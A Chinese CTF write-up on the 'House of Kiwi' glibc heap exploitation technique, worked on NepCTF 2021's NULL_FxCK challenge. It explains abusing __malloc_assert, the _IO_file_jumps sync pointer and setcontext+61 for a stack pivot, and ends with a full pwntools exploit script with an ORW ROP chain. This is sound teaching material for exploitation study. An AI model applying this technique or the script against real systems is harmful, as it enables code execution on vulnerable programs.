前言

参考博客如下:

从PWN题NULL_FXCK中学到的glibc知识

House OF Kiwi

CTF的Pwn题里面,通常就会遇到一些加了沙盒的题目,这种加沙盒的题目,在2.29之后的堆题中,通常为以下两种方式

  • 劫持__free_hook,利用特定的gadget,将栈进行迁移
  • 劫持__malloc_hooksetcontext+61的gadget,以及劫持IO_list_all单链表中的指针在exit结束中,在_IO_cleanup函数会进行缓冲区的刷新,从而读取flag

因为setcontext + 61从2.29之后变为由RDX寄存器控制寄存器了,所以需要控制RDX寄存器的指向的位置的部分数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<setcontext+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
<setcontext+95>: test DWORD PTR fs:0x48,0x2
<setcontext+107>: je 0x7ffff7e31156 <setcontext+294>
...
<setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]
<setcontext+301>: push rcx
<setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]
<setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
<setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
<setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
<setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
<setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
<setcontext+332>: xor eax,eax
<setcontext+334>: ret

但是如果将exit函数替换成_exit函数,最终结束的时候,则是进行了syscall来结束,并没有机会调用_IO_cleanup,若再将__malloc_hook__free_hook给ban了,且在输入和输出都用read和write的情况下,无法hook且无法通过IO刷新缓冲区进行调用,这时候就涉及到ptmalloc源码里面了

利用条件

  • 能够触发_malloc_assert,通常由堆溢出导致
  • 能够任意地址写,修改 _IO_file_syncIO_helper_jumps + 0xA0 and 0xA8

利用原理

glibcptmalloc部分,从以前到现在都存在一个assret断言的问题,此处存在一个fflush(stderr)的函数调用,其中会调用_IO_file_jumps中的sync指针

GLibc 2.32/malloc:288

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

这里放一个我常用来查询glibc源码的网址:Glibc source code - Bootlin

image-20221026101620627

_int_malloc中存在一个 assert (chunk_main_arena (bck->bk));位置可以触发,此外当top_chunk的大小不够分配时,则会进入sysmalloc中

GLIBC 2.32/malloc.c:2394

1
2
3
4
5
6
......
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
......

此处会对top_chunk的size|flags进行assert判断

  • old_size >= 0x20;
  • old_top.prev_inuse = 0;
  • old_top页对齐

通过这里也可以触发assert
下面手动实现进入assert后,可以想到fflush和fxprintf都和IO有关,可能需要涉及IO,一步步调试看看可以发现在fflush函数中调用到了一个指针:位于_IO_file_jumps中的_IO_file_sync指针,且观察发现RDX寄存器的值为IO_helper_jumps指针,多次调试发现RDX始终是一个固定的地址

img

如果存在一个任意写,通过修改 _IO_file_jumps + 0x60_IO_file_sync指针为setcontext+61
修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移

例题介绍

以NepCTF 2021年中NULL_FxCK为例

题目分析

沙箱开启

image-20221026134222730

保护全开

image-20221026134910200

禁用malloc_hook, free_hook

ban!!!

漏洞分析

整个程序只有在modify里有一次off by null 的机会,无其他漏洞

思路整理

这里的思路其实有点公式化的味道,就和我们做数学题一样,都是通过题目给的条件来思考利用的手法。给了off_by_null就思考会用到堆块的合并导致的重叠。重叠带来的好处:

  • 通过切割堆块能使我们在合并的堆块内部任意地址写main_arena,这个任意地址可能是note数组的一个堆指针的fd,那么我们就可以泄露libc了
  • 合并的时候的unlink能使得我们在已知堆块的fd和bk上写一个堆地址,这样就可以弥补一开始的截断带来的不能泄露堆块,然后成功泄露出堆块了

堆风水泄露libc和堆地址

首先伪造一个chunk头,利用off by null unlink吞并几个Allocated状态的chunk. 然后add分割使得chunk进入unsortedbin,从而泄露libc. 同时包含,largebin中提前包含heap信息,从而泄露heap地址

house of wiki

发现这题中的exit被换成了_exit,而_exit是不会存在house of pig里面的那条链子的,它直接就是一个exit的系统调用然后程序就结束了,所以任何打exit的链子都不能直接拿来用。遇到这种问题,有的师傅就开辟了一条名为house of kiwi的链子。主要是打__malloc_assert断言,有一个位于_IO_file_jumps+0x60的稳定的跳转指针sync和稳定的rdx——_IO_helper_jumps,而且这两个地方在gdb里都是有符号表的(比banana好找多了2333):

偏移确定

那么我们通过两次任意地址写就行了?非也。因为还需要触发assert,看看malloc.c的源码,ctrl f输入”assert”。发现有80多个。这里介绍其中一种做法:当top_chunk的大小不够分配时,则会进入sysmalloc中

1
2
3
4
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

发现很多检测,我们注意到对topchunk的prev_inuse的检测,只要把topchunk的size位的prev_inuse置为0,申请一个比它大的堆块就可以触发了。我们发现,至少需要改三个地址,也就是执行三次任意地址写。从这道题的严苛条件,不能用tcache poison等简单手法。

TLS段tcache struct attack

我们都知道,malloc_init会在heapbase段开设一个内存用于管理tcache。而这个管理tcache的地址,是可以从heapbase被我们劫持到另一个地方的,这是因为实际寻找的时候,是找到TLS段的管理tcache的地址,只不过malloc_init函数预设成了heapbase+0x10而已(注意,是heapbase+0x10而不是heapbase),我们可以在gdb中找到这段区域:

image-20221026151700771

通过largebin attack劫持这段为可控堆块,在上面布置任何我们想写的东西,malloc对应位置size大小就能够申请出来并且改写了(这里的偏移要调一调,不过也可以拿exp的模板直接来用,也就是)

通过改稳定的跳表sync为setcontext+61(因为setcontext会将[rdx+0xa0]设置为rsp,将[rdx+0xa8]设置为rip),将稳定的rdx _IO_helper_jumps设置为_IO_helper_jumps+0xa0为存orw链,+0xa8为ret指令,并改top_chunk的size,然后申请一个比它的size大的堆块触发assert就可get_shell了

总结

这道题考察了高版本的off_by_null,large bin attack,house of kiwi , TLS attack

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './NULL_FXCK'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
libc = elf.libc
# p = process(['qemu-arm', binary])
# p = process(['qemu-arm', binary,'-g','1234'])
# p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
host = ''
port = ''
p = remote(host,port)

l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)

def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)

def one_gadget(filename):
log.progress('Leak One_Gadgets...')
one_ggs = str(subprocess.check_output(
['one_gadget','--raw', '-f',filename]
)).split(' ')
return list(map(int,one_ggs))

def cmd(num):
sla('>>',num)

def add(size , Content = '\x00'):
cmd(1)
sla('Size: ' , size)
sa('Content:' , Content)

def edit(idx , Content):
cmd(2)
sla('Index: ' , idx)
sla('Content:' , Content)

def delete(idx ):
cmd(3)
sla('Index: ' , idx)

def show(idx ):
cmd(4)
sla('Index: ' , idx)


# one_gad = one_gadget(libc.path)
# 本质是通过 unsorted bin 或者 large bin 的指针残留构造 unlink 的指针指向

add(0x418)
add(0x108)
add(0x418) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x418) #6

delete(0)
delete(3)
delete(5)

delete(2)

# unsorted bin 合并 ,但合并不会清空数据,某处有残留的堆地址

add(0x438, 'a' * 0x418 + p64( 0x420 + 0x210 + 0x430 + 0x420 + 0x20 + 1)) #0

# 0xa91 写到了原来 chunk3 的 size 处,刚好这下面有残留的堆地址
# 切割已经合并的大块
# unsorted bin 从新到旧排序

add(0x418) #2
add(0x428) #3
add(0x418) #5

# 下面构造 fack fd
delete(5)
delete(2)
add(0x418 , 'a'*9) #2
add(0x418) #5

# 下面构造 fack bk

delete(5)
delete(3)

add(0x9f8) #3
add(0x428 , 'a') #5
add(0x418) #7

# 下面进行 unlink
add(0x408, p64(0) + p64(0x411)) #8
edit(6, 'a' * 0x410 + p64(0x210 +0x430 + 0x420 + 0x420 + 0x20 ))
delete(3)

add(0x438 , flat(0 , 0 ,0 , 0x421)) #3
add(0x1600) #9

show(4)
__malloc_hook = l64() - 1644 - 0x40 - 4
libc.address = __malloc_hook - libc.sym['__malloc_hook']
_environ = libc.sym['_environ']
mp_ = libc.address + 0x1e3280
_IO_list_all = libc.sym['_IO_list_all']
_IO_str_jumps = libc.address + 0x1e5580
_IO_file_jumps = libc.address + 0x1e54c0
_IO_helper_jumps = libc.address + 0x1e48c0
setcontext = libc.sym['setcontext'] + 61

show(5)
heap_base = u64(p.recv(6).ljust( 8 , '\x00')) - 0x2b0

ptr_list = 0x4160
lg('__malloc_hook' , __malloc_hook)
lg('heap_base',heap_base)

# ptr_list = $rebase(0x000000000004160)

add(0x1458 , flat('\x00'*0x208 , 0x431 , '\x00'*0x428 , 0x421 , '\x00'*0x418 , 0xa01) )

delete(4)
delete(5)

add(0x1458 )
add(0x448)

delete(4)
add(0x1458 , flat('\x00'*0x208 , 0x431 , __malloc_hook + 0x460,__malloc_hook + 0x460 , 0 , _IO_list_all - 0x20 ) )

delete(2)
add(0x448)
add(0x418)

delete(0)
add(0x438 , '\x00'*0x2c0 + p64(_IO_file_jumps + 96) + '\x00'*0x98 + flat(_IO_helper_jumps + 0xa0 , heap_base + 0x4bb0 ) ) #设置 entry

delete(4)
add(0x1458 , flat('\x00'*0x208 , 0x431 , __malloc_hook + 0x460,__malloc_hook + 0x460 , 0 , mp_ + 80 - 0x20 ) )
delete(11)


read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
leave_ret = libc.search(asm('leave;ret')).next()
pop_rax_ret = libc.search(asm('pop rax; ret')).next()
pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
ret = pop_rdi_ret + 1

flag_addr = heap_base + 0x4770 + 0x100
chain = flat(
pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
pop_rdi_ret , flag_addr , puts_addr
).ljust(0x100,'\x00') + 'flag\x00'
# len chain 0x80

# dbg()
add(0x448 , chain) # copy
add(0x418)

# House of kiwi 三大条件


add(0x1450 , p64(setcontext)[:-1])

add(0x1590 , flat( heap_base + 0x4770 , ret ))
add(0x15a0 , flat( 0 , 0x3e0))
# 0x1450 0x1590 0x15a0
# dbg()

# dbg()
cmd(1)
sla('Size' , 0x1000)

p.interactive()